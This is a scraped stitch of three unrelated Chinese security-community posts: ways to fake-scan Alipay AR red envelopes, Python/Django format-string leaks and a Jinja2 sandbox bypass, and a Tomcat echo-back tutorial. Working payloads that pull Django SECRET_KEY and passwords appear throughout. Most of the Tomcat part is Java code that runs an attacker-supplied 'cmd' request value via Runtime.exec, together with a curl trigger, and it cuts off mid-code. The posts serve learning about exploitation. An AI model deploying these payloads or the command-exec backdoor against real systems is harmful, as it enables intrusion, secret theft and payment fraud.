**如果有更好玩的“破解”方法，欢迎广大网友参与此次活动、踊跃投稿，对于大家的“破解”方法，一经采纳，安全客将提供神秘礼品、红包奖励还有更多惊喜等你来拿！（[投稿点这里](mailto:[email protected])）**
支付宝新版本更新之后，带来了全新红包玩法——AR实景红包。
中午吃饱喝足，大家在工位上围成一团拿出手机玩了起来，玩着玩着我们讨论的话题从
“唉？这个红包怎么扫？”
“哪有红包？哪呢？在哪呢？让我来！”
变成了
”你们说这红包是不是能通过其他方式领到？“
”这红包里的图片ＰＳ一下是不是能直接扫一扫领取红包呀？”
”小刘你试试？”
”好啊，那咱试试呗！“
说干就干！我们的射鸡狮小刘同学，打开PhotoShop，开始了花式“破解”支付宝AR红包的测试！
没想到小刘同学这么给力，三两下就“破解”了支付宝AR红包，为了验证我们的破解是可重复的，我们测试了不同的红包图片内容，并尝试用不同的方式”破解“，下面为大家简单介绍一下我们的成果。
**方法一：PS 人像“破解”**
**1.按住看线索，截图**
**2.按照红包图中黑色条纹画出相等的条纹**
**3.新的条纹向下移动单条等高的距离，然后复制截图内容**
**4.将复制的内容整体向上移动到最初的黑条位置**
**5.最后对着电脑扫一扫，bingo……**
**方法二：文字“破解”**
此静物背景主题是文字，直接ＰＳ出类似文字即可。并不需要真的杂志。可能类似于OCR识别这种。
**方法三：截屏“破解”**
注意：本方法暂时适用于iphone6手机或者1334*750的图
1.打开支付宝 找到一个ar红包，然后长按看线索。截屏。
2.打开 crack_alipay_ar 然后上传你截屏的红包图，等待系统返回破解完的完整图，就成功了！
（<http://cdn.liuliangjiekou.com/cdn/html/08/> 开源的自动去除横线的脚本）
**方法四：截图法** **** 本方法简单上手
1.先按照一方法的1步骤截图，然后使用ps软件将小方块的图裁出来
2.继续打开我们的api，选择方法2上传 然后键盘上下键操作就可以了
（<http://cdn.liuliangjiekou.com/cdn/html/08/> 开源的自动去除横线的脚本）
3.支付宝红包扫一扫
**
**
**方法五：支付宝红包去黑线算法**
1.代码在github上面 上面那个网址，php写的，直接跑一下php就知道了，首先找到一张我们想要的图片
注：本方法仅供开发者使用，请勿用于商业目的，本作者拥有最终最高解释权，照片中出现的女士，如侵犯肖像权请联系安全客（[email protected])转载请保留原创地址<https://github.com/shenzhenjinma/aliredenvelope>
[](https://github.com/shenzhenjinma/aliredenvelope/blob/master/img/1.png)
2.电脑打开看一下
[](https://github.com/shenzhenjinma/aliredenvelope/blob/master/img/2.jpeg)
3.近看一下
[](https://github.com/shenzhenjinma/aliredenvelope/blob/master/img/3.jpeg)
4.通过算法将黑线去掉，这里我用php花了2分钟写的
[](https://github.com/shenzhenjinma/aliredenvelope/blob/master/img/4.png)
5.近看一下处理后的图片
[](https://github.com/shenzhenjinma/aliredenvelope/blob/master/img/5.jpeg)
6.用手机扫一扫
[](https://github.com/shenzhenjinma/aliredenvelope/blob/master/img/6.png)
7.成功！
[](https://github.com/shenzhenjinma/aliredenvelope/blob/master/img/7.png)
**结语**
射鸡狮小刘同学表示经过大量的样本测试，发现人像的图片似乎更容易被"破解"，似乎其中有什么隐藏的暗物质。
**热心网友对支付宝AR红包的评论**
****
****
**参考链接**
<http://cdn.liuliangjiekou.com/cdn/html/08/> 开源的自动去除横线的脚本
[https://www.baidu.com/link?url=CPrJ9EwESBbvkkPYb9V1Ie-l9CfU1GxxoCFhZU0kxI2YtZbwR6ioLgxrL-AoEY9e&wd=&eqid=b6d0c087000ab13a00000003585e0f64](https://mp.weixin.qq.com/s/b_jQhCxIOz5VWBTHxv45rg)
堕络's Blog
<http://cdn.liuliangjiekou.com/cdn/html/08/> linux博客
<https://github.com/shenzhenjinma/aliredenvelope>
注：参考链接目前访问量较大，打不开网址的可以上github自己下载 | 社区文章 |
# 【技术分享】Python 格式化字符串漏洞（Django为例）
|
##### 译文声明
本文是翻译文章，文章来源：xianzhi.aliyun.com
原文地址：<https://xianzhi.aliyun.com/forum/read/615.html>
译文仅供参考，具体内容表达以及含义原文为准。
作者：phithon
在C语言里有一类特别有趣的漏洞，格式化字符串漏洞。轻则破坏内存，重则读写任意地址内容，二进制的内容我就不说了，说也不懂，分享个链接
[https://github.com/shiyanlou/seedlab/blob/master/formatstring.md](https://github.com/shiyanlou/seedlab/blob/master/formatstring.md)
**Python中的格式化字符串**
Python中也有格式化字符串的方法，在Python2老版本中使用如下方法格式化字符串：
"My name is %s" % ('phithon', )
"My name is %(name)%" % {'name':'phithon'}
后面为字符串对象增加了format方法，改进后的格式化字符串用法为：
"My name is {}".format('phithon')
"My name is {name}".format(name='phithon')
很多人一直认为前后两者的差别，仅仅是换了一个写法而已，但实际上format方法已经包罗万象了。文档在此：
<https://docs.python.org/3.6/library/string.html#formatstrings>
举一些例子吧：
"{username}".format(username='phithon') # 普通用法
"{username!r}".format(username='phithon') # 等同于 repr(username)
"{number:0.2f}".format(number=0.5678) # 等同于 "%0.2f" % 0.5678，保留两位小数
"int: {0:d}; hex: {0:#x}; oct: {0:#o}; bin: {0:#b}".format(42) # 转换进制
"{user.username}".format(user=request.username) # 获取对象属性
"{arr[2]}".format(arr=[0,1,2,3,4]) # 获取数组键值
上述用法在Python2.7和Python3均可行，所以可以说是一个通用用法。
**格式化字符串导致的敏感信息泄露漏洞**
那么，如果格式化字符串被控制，会发送什么事情？
我的思路是这样，首先我们暂时无法通过格式化字符串来执行代码，但我们可以利用格式化字符串中的“获取对象属性”、“获取数组数值”等方法来寻找、取得一些敏感信息。
以Django为例，如下的view：
def view(request, *args, **kwargs):
template = 'Hello {user}, This is your email: ' + request.GET.get('email')
return HttpResponse(template.format(user=request.user))
原意为显示登陆用户传入的email地址：
但因为我们控制了格式化字符串的一部分，将会导致一些意料之外的问题。最简单的，比如：
输出了当前已登陆用户哈希过的密码。看一下为什么会出现这样的问题：user是当前上下文中仅有的一个变量，也就是format函数传入的user=request.user，Django中request.user是当前用户对象，这个对象包含一个属性password，也就是该用户的密码。
所以，{user.password}实际上就是输出了request.user.password。
如果改动一下view：
def view(request, *args, **kwargs):
user = get_object_or_404(User, pk=request.GET.get('uid'))
template = 'This is {user}'s email: ' + request.GET.get('email')
return HttpResponse(template.format(user=user))
将导致一个任意用户密码泄露的漏洞：
**利用格式化字符串漏洞泄露Django配置信息**
上述任意密码泄露的案例可能过于理想了，我们还是用最先的那个案例：
def view(request, *args, **kwargs):
template = 'Hello {user}, This is your email: ' + request.GET.get('email')
return HttpResponse(template.format(user=request.user))
我能够获取到的变量只有request.user，这种情况下怎么利用呢？
Django是一个庞大的框架，其数据库关系错综复杂，我们其实是可以通过属性之间的关系去一点点挖掘敏感信息。但Django仅仅是一个框架，在没有目标源码的情况下很难去挖掘信息，所以我的思路就是：去挖掘Django自带的应用中的一些路径，最终读取到Django的配置项。
经过翻找，我发现Django自带的应用“admin”（也就是Django自带的后台）的models.py中导入了当前网站的配置文件：
所以，思路就很明确了：我们只需要通过某种方式，找到Django默认应用admin的model，再通过这个model获取settings对象，进而获取数据库账号密码、Web加密密钥等信息。
我随便列出两个，还有几个更有意思的我暂时不说：
[http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}](http://localhost:8000/?email=%7Buser.groups.model._meta.app_config.module.admin.settings.SECRET_KEY%7D)
[http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}](http://localhost:8000/?email=%7Buser.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY%7D)
**Jinja 2.8.1 模板沙盒绕过**
字符串格式化漏洞造成了一个实际的案例——Jinja模板的沙盒绕过（
<https://www.palletsprojects.com/blog/jinja-281-released/>）
Jinja2是一个在Python
web框架中使用广泛的模板引擎，可以直接被被Flask/Django等框架引用。Jinja2在防御SSTI（模板注入漏洞）时引入了沙盒机制，也就是说即使模板引擎被用户所控制，其也无法绕过沙盒执行代码或者获取敏感信息。
但由于format带来的字符串格式化漏洞，导致在Jinja2.8.1以前的沙盒可以被绕过，进而读取到配置文件等敏感信息。
大家可以使用pip安装Jinja2.8：
pip install
https://github.com/pallets/jinja/archive/2.8.zip
并尝试使用Jinja2的沙盒来执行format字符串格式化漏洞代码：
>>> from jinja2.sandbox import SandboxedEnvironment
>>> env = SandboxedEnvironment()
>>> class User(object):
... def __init__(self, name):
... self.name = name
...
>>> t = env.from_string(
... '{{ "{0.__class__.__init__.__globals__}".format(user) }}')
>>> t.render(user=User('joe'))
成功读取到当前环境所有变量__globals__，如果当前环境导入了settings或其他敏感配置项，将导致信息泄露漏洞：
相比之下，Jinja2.8.1修复了该漏洞，则会抛出一个SecurityError异常：
**f修饰符与任意代码执行**
在PEP 498中引入了新的字符串类型修饰符：f或F，用f修饰的字符串将可以执行代码。文档在此
<https://www.python.org/dev/peps/pep-0498/>
用docker体验一下：
docker pull python:3.6.0-slim
docker run -it --rm --name py3.6 python:3.6.0-slim bash
pip install ipython
ipython
# 或者不用ipython
python -c "f'''{__import__('os').system('id')}'''"
可见，这种代码执行方法和PHP中的<?php "${@phpinfo()}";
?>很类似，这是Python中很少有的几个能够直接将字符串转变成的代码的方式之一，这将导致很多“舶来”漏洞。
举个栗子吧，有些开发者喜欢用eval的方法来解析json：
在有了f字符串后，即使我们不闭合双引号，也能插入任意代码了：
不过实际利用中并不会这么简单，关键问题还在于：Python并没有提供一个方法，将普通字符串转换成f字符串。
但从上图中的eval，到Python模板中的SSTI，有了这个新方法，可能都将有一些突破吧，这个留给大家分析了。
另外，PEP 498在Python3.6中才被实现，在现在看来还不算普及，但我相信之后会有一些由于该特性造成的实际漏洞案例。 | 社区文章 |
# Tomcat回显技术学习汇总
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 简介
2022年初打算把反序列化漏洞后利用技术给学习下，主要分为回显技术和内存马技术两大模块。因为之前对回显技术有所了解，就先把这块知识给弥补下。
## 0x02 搭建环境
采用简单的Spring-boot可以快速搭建web项目，并且使用Spring内置的轻量级Tomcat服务，虽然该Tomcat阉割了很多功能，但是基本够用。整个demo放在了github上，地址为<https://github.com/BabyTeam1024/TomcatResponseLearn>
### 0x1 创建项目
选择Spring Initializr
### 0x2 添加代码
在项目的package中创建controller文件夹，并编写TestController类
package com.example.tomcatresponselearn.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@Controller
@RequestMapping("/app")
public class TestController {
@RequestMapping("/test")
@ResponseBody
public String testDemo(String input, HttpServletResponse response) throws IOException {
System.out.println(response);
org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();
javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
String cmd = httprequest.getHeader("cmd");
if(cmd != null && !cmd.isEmpty()){
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
try {
httpresponse.getWriter().printf(res);
} catch (IOException e) {
e.printStackTrace();
}
}
return "Hello World!";
}
}
正常在编写Spring-boot代码的时候是不需要在testDemo函数中添加调用参数的。这里为了方便查看Response对象，因此在该函数上添加了HttpServletResponse。
### 0x3 添加Maven地址
在ubuntu上搭建环境的时候遇到了依赖包下载失败的情况。
添加如下仓库地址即可解决问题
https://repo.maven.apache.org/maven2
## 0x03 各种回显技术
### 0x1 通过文件描述符回显
**1\. 简介**
2020年1月00theway师傅在《通杀漏洞利用回显方法-linux平台》文章中提出了一种回显思路
>
> 经过一段时间的研究发现了一种新的通杀的回显思路。在LINUX环境下，可以通过文件描述符”/proc/self/fd/i”获取到网络连接，在java中我们可以直接通过文件描述符获取到一个Stream对象，对当前网络连接进行读写操作，可以釜底抽薪在根源上解决回显问题。
简单来讲就是利用linux文件描述符实现漏洞回显。作为众多回显思路中的其中一种方法，虽然效果没有后两者的通用型强，但笔者打算学习下这种基于linux文件描述符的特殊利用姿势。
**2\. 可行性分析**
从理论上讲如果获取到了当前请求对应进程的文件描述符，如果输出描述符中写入内容，那么就会在回显中显示，从原理上是可行的，但在这个过程中主要有一个问题需要解决
* 如何获得本次请求的文件描述符
解决这个问题就要思考在一次连接请求过程中有什么特殊的东西可通过代码识别出来，从而筛选出对应的请求信息。那么这个特殊的标识应该就是，客户端的访问ip地址了。
在/proc/net/tcp6文件中存储了大量的连接请求
其中local_address是服务端的地址和连接端口，remote_address是远程机器的地址和端口（客户端也在此记录），因此我们可以通过remote_address字段筛选出需要的inode号。这里的inode号会在/proc/xx/fd/中的socket一一对应
有了这个对应关系，我们就可以在/proc/xx/fd/目录中筛选出对应inode号的socket，从而获取了文件描述符。整体思路如下
* 1.通过client ip在/proc/net/tcp6文件中筛选出对应的inode号
* 2.通过inode号在/proc/$PPID/fd/中筛选出fd号
* 3.创建FileDescriptor对象
* 4.执行命令并向FileDescriptor对象输出命令执行结果
**3\. 代码编写**
**（1）获得本次请求的文件描述符**
a=`cat /proc/$PPID/net/tcp6|awk '{if($10>0)print}'|grep -i %s|awk '{print $10}'`
b=`ls -l /proc/$PPID/fd|grep 7200A8C0|awk '{print $9}'`
echo -n $b
运行上述命令执行，并将结果存储在num中
java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
java.io.InputStreamReader isr = new java.io.InputStreamReader(in);
java.io.BufferedReader br = new java.io.BufferedReader(isr);
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = br.readLine()) != null){
stringBuilder.append(line);
}
int num = Integer.valueOf(stringBuilder.toString()).intValue();
**（2）执行命令并通过文件描述符输出**
cmd = new String[]{"/bin/sh","-c","ls /"};
in = Runtime.getRuntime().exec(cmd).getInputStream();//执行命令
isr = new java.io.InputStreamReader(in);
br = new java.io.BufferedReader(isr);
stringBuilder = new StringBuilder();
while ((line = br.readLine()) != null){//读取命令执行结果
stringBuilder.append(line);
}
String ret = stringBuilder.toString();
java.lang.reflect.Constructor c=java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});//获取构造器
c.setAccessible(true);
java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor)c.newInstance(new Object[]{new Integer(num)}));//创建对象
os.write(ret.getBytes());//向文件描述符中写入结果
os.close();
**4\. 代码整合**
在实际使用过程中注意把客户端IP地址转换成16进制字节倒序，替换xxxx字符串。
String[] cmd = { "/bin/sh", "-c", "a=`cat /proc/$PPID/net/tcp6|awk '{if($10>0)print}'|grep -i xxxx|awk '{print $10}'`;b=`ls -l /proc/$PPID/fd|grep $a|awk '{print $9}'`;echo -n $b"};
java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
java.io.InputStreamReader isr = new java.io.InputStreamReader(in);
java.io.BufferedReader br = new java.io.BufferedReader(isr);
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = br.readLine()) != null){
stringBuilder.append(line);
}
int num = Integer.valueOf(stringBuilder.toString()).intValue();
cmd = new String[]{"/bin/sh","-c","ls /"};
in = Runtime.getRuntime().exec(cmd).getInputStream();
isr = new java.io.InputStreamReader(in);
br = new java.io.BufferedReader(isr);
stringBuilder = new StringBuilder();
while ((line = br.readLine()) != null){
stringBuilder.append(line);
}
String ret = stringBuilder.toString();
java.lang.reflect.Constructor c=java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
c.setAccessible(true);
java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor)c.newInstance(new Object[]{new Integer(num)}));
os.write(ret.getBytes());
os.close();
**5\. 局限性分析**
这种方法只适用于linux回显，并且在取文件描述符的过程中有可能会受到其他连接信息的干扰，一般不建议采取此方法进行回显操作，因为有下面两种更好的回显方式。
### 0x2 通过ThreadLocal Response回显
**1\. 简介**
2020年3月kingkk师傅提出一种基于调用栈中获取Response对象的方法，该方法主要是从ApplicationFilterChain中提取相关对象，因此如果对Tomcat中的Filter有部署上的变动的话就不能通过此方法实现命令回显。
仔细研读了kingkk师傅的思路，发现整个过程并不是很复杂，但前提是要先学会如何熟练使用Java
反射技术进行对象操作。寻找Response进行回显的大概思路如下
* 1.通过翻阅函数调用栈寻找存储Response的类
* 2.最好是个静态变量，这样不需要获取对应的实例，毕竟获取对象还是挺麻烦的
* 3.使用ThreadLocal保存的变量，在获取的时候更加方便，不会有什么错误
* 4.修复原有输出，通过分析源码找到问题所在
**2\. 代码分析**
师傅就是按照这个思路慢慢寻找，直到找到了保存在ApplicationFilterChain对象中的静态变量lastServicedResponse
在internalDoFilter函数中有对该ThreadLocal变量赋值的操作
但是通过分析代码发现，改变量在初始化运行的时候就已经被设置为null了，这就需要通过反射的方式让lastServiceResponse进行初始化。
在使用response的getWriter函数时，usingWriter
变量就会被设置为true。如果在一次请求中usingWriter变为了true那么在这次请求之后的结果输出时就会报错
报错内容如下，getWriter已经被调用过一次
那么在代码设计的时候也要解决这个问题，才能把原有的内容通过http返回包输出来。
通过分析得到其具体实施步骤为
* 1.使用反射把ApplicationDispathcer.WRAP_SAME_OBJECT变量修改为true
* 2.使用反射初始化ApplicationDispathcer中的lastServicedResponse变量为ThreadLocal
* 3.使用反射从lastServicedResponse变量中获取tomcat Response变量
* 4.使用反射修复输出报错
**3\. 代码编写**
**（1）ApplicationDispathcer.WRAP_SAME_OBJECT变量修改为true**
通过上面的需求，编写对应的代码进行实现，需要提前说明的是WRAP_SAME_OBJECT、lastServicedRequest、lastServicedResponse为static
final变量，而且后两者为私有变量，因此需要modifiersField的处理将FINAL属性取消掉。
相对应的实现代码如下
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");//获取WRAP_SAME_OBJECT字段
Field modifiersField = Field.class.getDeclaredField("modifiers");//获取modifiers字段
modifiersField.setAccessible(true);//将变量设置为可访问
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);//取消FINAL属性
WRAP_SAME_OBJECT_FIELD.setAccessible(true);//将变量设置为可访问
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);//将变量设置为true
**（2）初始化ApplicationDispathcer中的lastServicedResponse变量为ThreadLocal**
这里需要把lastServicedResponse和lastServiceRequest，因为如果这两个其中之一的变量为初始化就会在set的地方报错。
相对应的实现代码如下
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");//获取lastServicedRequest变量
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");//获取lastServicedResponse变量
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);//取消FINAL属性
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);//取消FINAL属性
lastServicedRequestField.setAccessible(true);//将变量设置为可访问
lastServicedResponseField.setAccessible(true);//将变量设置为可访问
lastServicedRequestField.set(null, new ThreadLocal<>());//设置ThreadLocal对象
lastServicedResponseField.set(null, new ThreadLocal<>());//设置ThreadLocal对象
这里仅仅实现了如何初始化lastServicedRequest和lastServicedResponse这两个变量为ThreadLocal。在实际实现过程中需要添加判断，如果lastServicedRequest存储的值不是null那么就不要进行初始化操作。
**（3）从lastServicedResponse变量中获取tomcat Response变量**
从上面代码中的lastServicedResponseField直接获取lastServicedResponse变量，因为这时的lastServicedResponse变量为ThreadLocal变量，可以直接通过get方法获取其中存储的变量。
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);//获取lastServicedResponse变量
ServletResponse responseFacade = lastServicedResponse.get();//获取lastServicedResponse中存储的变量
**（4）修复输出报错**
可以在调用getWriter函数之后，通过反射修改usingWriter变量值。
Field responseField = ResponseFacade.class.getDeclaredField("response");//获取response字段
responseField.setAccessible(true);//将变量设置为可访问
Response response = (Response) responseField.get(responseFacade);//获取变量
Field usingWriter = Response.class.getDeclaredField("usingWriter");//获取usingWriter字段
usingWriter.setAccessible(true);//将变量设置为可访问
usingWriter.set((Object) response, Boolean.FALSE);//设置usingWriter为false
果然在添加过这个代码之后就没有任何问题了。
**4\. 代码整合**
搬运kingkk师傅代码供大家参考
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
ThreadLocal<ServletResponse> lastServicedResponse =
(ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
String cmd = lastServicedRequest != null
? lastServicedRequest.get().getParameter("cmd")
: null;
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else if (cmd != null) {
ServletResponse responseFacade = lastServicedResponse.get();
responseFacade.getWriter();
java.io.Writer w = responseFacade.getWriter();
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Response response = (Response) responseField.get(responseFacade);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set((Object) response, Boolean.FALSE);
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
w.write(output);
w.flush();
}
触发方式如下，在网页回显中会把命令执行的结果和之前的内容一并输出来。
curl 'http://127.0.0.1:8080/app/test?cmd=id'
**5\. 局限性分析**
通过完整的学习这个回显方式，可以很明显的发现这个弊端，如果漏洞在ApplicationFilterChain获取回显Response代码之前，那么就无法获取到Tomcat
Response进行回显。其中Shiro RememberMe反序列化漏洞就遇到了这种情况，相关代码如下
**org.apache.catalina.core.ApplicationFilterChain核心代码**
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();
...
filter.doFilter(request, response, this);//Shiro漏洞触发点
} catch (...)
...
}
}
try {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);//Tomcat回显关键点
}
if (...){
...
} else {
servlet.service(request, response);//servlet调用点
}
} catch (...) {
...
} finally {
...
}
这种方法已经能够满足大多数情况下的回显需求。并且从中学习到了很多回显思想和操作，将它融合在ysoserial中就能实现在tomcat部署的web服务中的反序列化回显。下面介绍一种不依靠FilterChain的通用型更强的Tomcat回显技术。
### 0x3 通过全局存储 Response回显
2020年3月长亭Litch1师傅找到的一种基于全局储存的新思路，寻找在Tomcat处理Filter和Servlet之前有没有存储response变量的对象。整个过程分析下来就像是在构造调用链，一环扣一环，知道找到了那个静态变量或者是那个已经创建过的对象。然而师傅通过后者完成了整个利用，下面学习下具体的分析方法。
### 1\. 代码分析
在调用栈的初始位置存在Http11Processor对象，该类继承了AbstractProcessor，request和response都在这个抽象类中。
因为不是静态变量因此要向上溯源，争取找到存储Http11Processor或者Http11Processor
request、response的变量。继续翻阅调用栈，在AbstractProtcol内部类ConnectionHandler的register方法中存在着对Http11Processor的操作
具体代码如下，rp为RequestInfo对象，其中包含了request对象，然而request对象包含了response对象
所以我们一旦拿到RequestInfo对象就可以获取到对应的response对象
RequestInfo->req->response
因为在register代码中把RequestInfo注册到了global中
因此如果获取到了global解决问题，global变量为AbstractProtocol静态内部类ConnectionHandler的成员变量。因为改变量不是静态变量，因此我们还是需要找存储AbstractProtocol类或AbstractProtocol子类。现在的获取链变为了
AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response
在调用栈中存在CoyoteAdapter类，其中的connector对象protocolHandler属性为Http11NioProtocol，Http11NioProtocol的handler就是AbstractProtocol$ConnectoinHandler。
connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response
如何获取connector对象就成为了问题所在，Litch1师傅分析出在Tomcat启动过程中会创建connector对象，并通过addConnector函数存放在connectors中
那么现在的获取链变成了
StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response
connectors同样为非静态属性，那么我们就需要获取在tomcat中已经存在的StandardService对象，而不是新创建的对象。
**2\. 关键步骤**
如果能直接获取StandardService对象，那么所有问题都能够迎刃而解。Litch1师傅通过分析Tomcat类加载获取到了想要的答案。
之前我们在《Java安全—JVM类加载》那篇文章中有介绍Tomcat 是如何破坏双亲委派机制的。
>
>
> 首先说明双亲委派机制的缺点是，当加载同个jar包不同版本库的时候，该机制无法自动选择需要版本库的jar包。特别是当Tomcat等web容器承载了多个业务之后，不能有效的加载不同版本库。为了解决这个问题，Tomcat放弃了双亲委派模型。
>
> 当时分析Shiro反序列化的时候，遇到了Tomcat的类加载器重写了loadClass函数，从而没有严格按照双亲委派机制进行类加载，这样才能实现加载多个相同类，相当于提供了一套隔离机制，为每个web容器提供一个单独的WebAppClassLoader加载器。
>
> Tomcat加载机制简单讲，WebAppClassLoader负责加载本身的目录下的class文件，加载不到时再交给CommonClassLoader加载，这和双亲委派刚好相反。
>
如果在SpringBoot项目中调试看下Thread. _currentThread_ ().getContextClassLoader()中的内容
WebappClassLoader里面确实包含了很多很多关于tomcat相关的变量，其中service变量就是要找的StandardService对象。那么至此整个调用链就有了入口点
WebappClassLoader->resources->context->context->StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response
因为这个调用链中一些变量有get方法因此可以通过get函数很方便的执行调用链，对于那些私有保护属性的变量我们只能采用反射的方式动态的获取。
**3\. 代码编写**
**（1）获取Tomcat CloassLoader context**
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
这之后再获取standardContext的context就需要使用反射了
**（2）获取standardContext的context**
因为context不是final变量，因此可以省去一些反射修改操作
具体代码如下
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);//将变量设置为可访问
org.apache.catalina.core.ApplicationContext ApplicationContext = (org.apache.catalina.core.ApplicationContext)context.get(standardContext);
**（3）获取ApplicationContext的service**
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
service.setAccessible(true);//将变量设置为可访问
StandardService standardService = (StandardService)service.get(ApplicationContext);
**（4）获取StandardService的connectors**
Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectorsField.setAccessible(true);//将变量设置为可访问
org.apache.catalina.connector.Connector[] connectors = (org.apache.catalina.connector.Connector[])connectorsField.get(standardService);
**（5）获取AbstractProtocol的handler**
获取到connectors之后，可以通过函数发现getProtocolHandler为public，因此我们可以通直接调用该方法的方式获取到对应的handler。
org.apache.coyote.ProtocolHandler protocolHandler = connectors[0].getProtocolHandler();
Field handlerField = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler");
handlerField.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);
**（6）获取内部类ConnectionHandler的global**
好多师傅们都是通过getDeclaredClasses的方式获取到AbstractProtocol的内部类。笔者通过org.apache.coyote.AbstractProtocol$ConnectionHandler的命名方式，直接使用反射获取该内部类对应字段。
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);
**（7）获取RequestGroupInfo的processors**
processors为List数组，其中存放的是RequestInfo
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors.get(global);
**（8）获取Response，并做输出处理**
遍历获取RequestInfolist中的所有requestInfo，使用反射获取每个requestInfo中的req变量，从而获取对应的response。在getWriter后将usingWriter置为false，并调用flush进行输出。
Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req.setAccessible(true);
for (RequestInfo requestInfo : RequestInfolist) {//遍历
org.apache.coyote.Request request1 = (org.apache.coyote.Request )req.get(requestInfo);//获取request
org.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote(1);//获取catalina.connector.Request类型的Request
org.apache.catalina.connector.Response response2 = request2.getResponse();
